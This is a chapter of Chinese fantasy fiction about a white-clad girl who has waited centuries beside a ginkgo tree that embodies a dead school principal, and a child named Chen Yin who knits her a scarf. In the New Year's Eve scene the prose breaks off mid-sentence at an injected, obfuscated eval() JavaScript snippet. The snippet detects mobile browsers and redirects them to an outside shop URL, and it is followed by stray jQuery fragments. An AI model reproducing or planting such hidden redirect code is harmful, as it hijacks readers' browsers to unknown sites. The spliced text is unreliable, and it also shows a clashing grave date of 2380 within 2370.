2370年3月21日，春分。
白色女孩在地球的第——没有人计算了。
从她第一次跨入那扇门算起，两千三百年。
从她决定永远留下算起，两百年。
门扉依然虚掩。
秋千架换过多少次？没有人记得。
长椅换过多少次？没有人记得。
红围巾增加到了第一百七十三条——从陈苗苗八岁织的第一条，到陈茵去年织的最新一条。
那棵银杏树活了两千四百年。
它的主干粗壮到需要五十个人才能合抱。树冠覆盖了整片流变区。半透明的果实不再是鸡蛋大小，而是拳头大小，每一颗里都封存着一片旋转的叶子——那是周奕然的叶子，也是林小雨的形状，也是两百代人在树下留下的所有记忆。
树皮上的人脸轮廓越来越清晰。
不是“像”林小雨。
是林小雨。
两千三百年前那个五岁女孩，第一次画这棵树时，不会想到有一天自己会变成它。
但她确实变成了。
以树的形状。
以维拉的方式。
以人类等待两千年换来的、缓慢而温柔的奇迹。
白色女孩站在树下。
她颈间的红围巾已经增加到一百七十三条。起球起得最厉害的那条，依然系在最靠近心脏的位置。
“小雨。” 她轻声说。
树皮上的轮廓微微亮起。
“今天春分。”
轮廓又亮了一下。
“你记得吗？”
第三次亮起。
“两千三百年前，你第一次问我：白色姐姐，你会飞走吗？”
轮廓亮了很久很久。
像在说：记得。
像在说：每一句话都记得。
白色女孩伸出手，轻轻贴在那张树皮脸上。
“我不会飞走了。” 她说。
“这里也是我的家了。”
轮廓微微颤动。
满树的果实同时亮起。
一千七百三十颗。
像一千七百三十双眼睛。
像一千七百三十句“我知道”。
远处，秋千架上传来孩子的笑声。
陈茵十岁了。
她穿着红裙子，被妈妈轻轻推着，荡得越来越高。
“妈妈——！”她回头喊，“我看到门了！”
陈荷站在秋千后面。
“门里有什么？”
陈茵眯着眼睛看了一会儿。
“光！”她说，“金色的光！”
陈荷没有说话。
她只是把秋千推得更高一点。
傍晚，陈茵跑到银杏树下。
白色女孩还坐在那里。
树皮上的脸还亮着。
长椅上的红围巾还在摇曳。
“白色姐姐，”陈茵爬上她旁边的位置，“你一直坐在这里吗？”
“嗯。”
“不无聊吗？”
白色女孩想了想。
“不无聊。” 她说，“有人在陪我。”
陈茵顺着她的目光望向那棵树。
“树树？”
“嗯。”
陈茵点点头。
她靠在那道微凉的轮廓上，望着那棵活了二千四百年的老树。
“白色姐姐，”她忽然问，“你会永远在这里吗？”
白色女孩没有立刻回答。
她望着那张树皮上的脸。
望着那条已经起球起得几乎看不出原样的红围巾。
望着远处那扇虚掩的门。
“会。” 她说。
“永远是多远？”
“像那棵树那么远。”
陈茵想了想。
“那棵树能活多久？”
“很久很久。”
“比你还久？”
白色女孩轻轻笑了一下。
“可能。” 她说，“它学会了一些我不会的事。”
陈茵好奇地仰起脸。
“什么事？”
“等人。” 白色女孩说，“用不会消失的方式等。”
陈茵似懂非懂地点点头。
她打了个哈欠。
“我困了。”
“那就睡吧。”
陈茵靠在白色女孩肩上，闭上眼睛。
晚风穿过银杏叶隙。
沙沙。
沙沙。
她睡着了。
白色女孩轻轻揽着她。
望着那棵老树。
望着那张两千三百年来从未离开过的脸。
“你看。” 她轻声说，“又一个。”
树皮上的脸微微亮起。
像在笑。
像在说：我看到了。
夜色渐深。
秋千架静静地立着。
门扉里透出金色的光。
长椅上的红围巾在风里摇曳。
一百七十三条。
每一针。
每一线。
每一个松垮垮的结。
都在说：
“我们在这里。”
“一直在。”
“永远在。”
2370年5月。
陈茵在银杏树下画了一幅画。
画的是那棵树。
树下坐着一个白裙子的姐姐。
长椅上挂满红围巾。
秋千架上有个穿红裙子的小女孩在荡。
天上有一扇门。
门开着。
画完，她举起来给白色女孩看。
“像吗？”
白色女孩看了很久。
“像。” 她说。
陈茵满意地点点头。
她拿出彩铅，在画的下方歪歪扭扭地写上日期：
2370年5月17日
然后，她想了想，又在日期下面加了一行字：
“白色姐姐说她会永远在这里。”
“我相信她。”
她把这幅画收进书包。
第二天，她把它带到了文化馆。
挂在立柱之间的展示格上。
和两千三百年前另一幅五岁女孩画的画并排挂在一起。
一幅画的是门。
一幅画的是树。
一幅画的是等待的开始。
一幅画的是等待的——没有结束。
因为永远不会有结束。
2370年12月。
陈荷带陈茵去给陈苜扫墓。
墓碑在银杏树下。
和所有流变区的人一样。
碑上刻着三行字：
陈苜
2320-2380
“她会回来”
陈茵把一束银杏叶放在碑前。
“外婆，”她说，“白色姐姐没有走。”
陈荷站在她身后。
“我知道。”
“她说她会永远在这里。”
“我知道。”
陈茵抬起头，望着那棵活了二千四百年的老树。
“妈妈，林校长真的在那棵树里吗？”
陈荷沉默了几秒。
“真的。”
“你怎么知道？”
陈荷没有回答。
她只是伸出手，轻轻贴在树皮上。
树皮微微亮起。
像在说：我在。
陈茵也伸出手。
“林校长，”她说，“我叫陈茵。我今年十岁。”
树皮亮得更久了一些。
像在说：你好，陈茵。
陈茵笑起来。
“她真的在。”
2370年12月31日，跨年夜。
流变区举办银杏节
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317003|198966||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
从傍晚开始，人们陆续聚集到银杏树下。
灯笼。春联。饺子。合唱。
和两百年前一样。
和一千年后大概也一样。
陈茵坐在秋千上，被妈妈轻轻推着。
她荡得很高很高。
高到能看见门扉里永不熄灭的光。
“妈妈——！”
“嗯？”
“门那边是什么？”
陈荷没有回答。
白色女孩替她回答了：
“那边也是家。”
陈茵回头，望向树下那道白色的轮廓。
“那你有两个家？”
“嗯。”
“真好。”
她继续荡。
红色裙摆在夜风中扬起。
像一片永远不会落下的叶子。
午夜。
钟声从流变区外传来。
新的一年开始了。
陈茵从秋千上跳下来，跑到长椅边。
“白色姐姐，新年快乐！”
白色女孩看着她。
“新年快乐。”
陈茵从口袋里掏出一条围巾。
针脚歪歪扭扭，边缘参差不齐。
和两千三百年前陈苗苗织的第一条一模一样。
“这是我织的第一条，”她把围巾举起来，“给你！”
白色女孩接过那条围巾。
低头看了很久。
“和你曾曾曾曾曾祖母织的第一条一模一样。” 她说。
陈茵惊讶地睁大眼睛。
“你知道我曾曾曾曾曾祖母？”
“知道。” 白色女孩说，“她叫陈苗苗。她八岁时织了第一条围巾给我。”
“她说过，等她的后代学会织围巾，让她们也织给我。”
她顿了顿。
“你是第六十八个。”
陈茵似懂非懂地点点头。
她把围巾系在白色女孩颈间。
一百七十四条。
白色女孩站起来。
她走到长椅前，把那第一百七十四条围巾和其他的系在一起。
打了个松垮垮的结。
然后她回到长椅左侧，坐下。
陈茵爬上她旁边的位置。
“白色姐姐，”她靠在那道微凉的轮廓上，“讲个故事吧。”
“什么故事？”
“讲你怎么认识林校长的故事。”
白色女孩沉默了几秒。
然后她开口。
“很久很久以前，” 她说，“有一个五岁的小女孩。”
“她画了一扇门。”
“门后面有一个穿白裙的姐姐，等了一万两千年。”
陈茵仰起脸。
“那个小女孩就是林校长吗？”
“嗯。”
“她后来怎么样了？”
白色女孩望着那棵老树。
望着树皮上那张两千三百年来永远微笑的脸。
“她变成了一棵树。” 她说。
“一直在等我。”
陈茵想了想。
“她等到了吗？”
白色女孩伸出手，轻轻覆在她手背上。
凉凉的。
像晚风拂过水面。
像月光落在掌心。
“等到了。” 她说。
“现在她不用等了。”
“我也到家了。”
陈茵点点头。
她把头靠在白色女孩肩上。
晚风吹过银杏叶隙。
沙沙。
沙沙。
远处，秋千架静静地立着。
门扉里透出金色的光。
长椅上，一百七十四条红围巾轻轻摇曳。
夜色温柔。
时间还在走。
但此刻——
足够漫长。